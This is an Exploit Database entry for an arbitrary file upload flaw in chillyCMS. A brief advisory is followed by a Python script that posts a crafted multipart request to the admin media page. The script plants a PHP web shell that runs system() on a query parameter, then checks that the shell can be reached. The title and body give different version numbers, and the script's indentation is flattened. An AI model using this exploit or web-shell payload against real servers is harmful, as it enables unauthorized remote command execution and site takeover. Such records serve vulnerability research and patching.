ChillyCMS 2.3.4.3 – Arbitrary File Upload

• Exploit Database
• 10 阅读

• 作者： John Leitch
  日期： 2010-09-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34641/

• source: https://www.securityfocus.com/bid/43263/info
  
  chillyCMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
  
  An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
  
  chillyCMS version 1.1.3 is vulnerable; other versions may also be affected. 
  
  import socket
  
  host = 'localhost'
  path = '/chillyCMS'
  shell_path = path + '/tmp/shell.php'
  port = 80
  
  def upload_shell():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(8)
  
  s.send('POST ' + path + '/admin/media.site.php HTTP/1.1\r\n'
   'Host: localhost\r\n'
   'Proxy-Connection: keep-alive\r\n'
   'User-Agent: x\r\n'
   'Content-Length: 731\r\n'
   'Cache-Control: max-age=0\r\n'
   'Origin: null\r\n'
   'Content-Type: multipart/form-data; boundary=----x\r\n'
   'Accept: text/html\r\n'
   'Accept-Encoding: gzip,deflate,sdch\r\n'
   'Accept-Language: en-US,en;q=0.8\r\n'
   'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="name"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="pw"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="sentfile"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="destination"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="action"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="file"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="parent"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="newfolder"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="folder"\r\n'
   '\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
   'Content-Type: application/octet-stream\r\n'
   '\r\n'
   '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
   '------x--\r\n'
   '\r\n')
  
  resp = s.recv(8192)
  
  http_ok = 'HTTP/1.1 200'
  found = 'HTTP/1.1 302'
  
  if found not in resp[:len(found)]:
  print 'error uploading shell'
  return
  else: print 'shell uploaded'
  
  s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
   'Host: ' + host + '\r\n\r\n')
  
  if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
  else: print 'shell located at http://' + host + shell_path
  
  upload_shell()